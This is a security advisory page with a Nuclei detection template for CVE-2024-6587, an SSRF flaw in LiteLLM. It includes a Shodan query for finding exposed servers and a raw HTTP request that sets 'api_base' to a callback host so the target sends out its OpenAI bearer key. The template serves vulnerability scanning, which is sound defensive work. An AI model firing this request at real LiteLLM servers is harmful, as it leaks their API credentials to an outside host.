SecurityContext

CVE-2024-6587: LiteLLM - Server-Side Request Forgery

Classification

  • Epss score: 0.34375
  • Epss percentile: 0.9845
  • Checked, none or zero: cwe
  • Not known: cvss score, cvss vector, cpe

Metadata

  • Max-request: 1
  • Shodan-query: http.favicon.hash:439373620
  • Verified: yes

Labels

  • Name: LiteLLM - Server-Side Request Forgery
  • Impact: Attackers can perform unauthorized requests and access sensitive API keys, leading to data leakage and potential misuse of API services.
  • Remediation: Implement proper request validation and access controls, and update to the latest version if available.
  • Vulnerability type: server_side_request_forgery
  • Vulnerability impact: information_disclosure
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2024-6587
  • Not known: requirements

```yaml

id: CVE-2024-6587

info:

name: LiteLLM - Server-Side Request Forgery

author: pdresearch,iamnoooob,rootxharsh,lambdasawa

severity: high

description: |

LiteLLM vulnerable to Server-Side Request Forgery (SSRF) vulnerability Exposes OpenAI API Keys.

impact: |

Attackers can exploit SSRF to send requests to arbitrary URLs with OpenAI API keys in the Authorization header, potentially exposing API credentials.

remediation: |

Update LiteLLM to the latest version that addresses the SSRF vulnerability in the chat/completions endpoint.

reference:

- https://huntr.com/bounties/4001e1a2-7b7a-4776-a3ae-e6692ec3d997

- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-6587

classification:

epss-score: 0.34375

epss-percentile: 0.9845

metadata:

verified: true

max-request: 1

shodan-query: http.favicon.hash:439373620

tags: cve,cve2024,ssrf,openai,litellm,vkev,vuln,ai

http:

- raw:

- |

POST /chat/completions HTTP/1.1

Host: {{Hostname}}

Content-Type: application/json

{

"model": "command-nightly",

"messages": [

{

"content": "Hello, how are you?",

"role": "user"

}

],

"api_base": "https://{{interactsh-url}}"

}

matchers-condition: and

matchers:

- type: word

part: interactsh_protocol

words:

- "http"

- type: word

part: interactsh_request

words:

- "Bearer"

digest: 4b0a004830460221009cfa90cc96da680cdb1d27ded9148f24c697ccbbe25cdb6d2404bab02cb30e27022100d5dea59e04d13ef972f8730c2edc02dddabd4c7a66649f8916ae6e3afed2baed:922c64590222798bb761d5b6d8e72950

```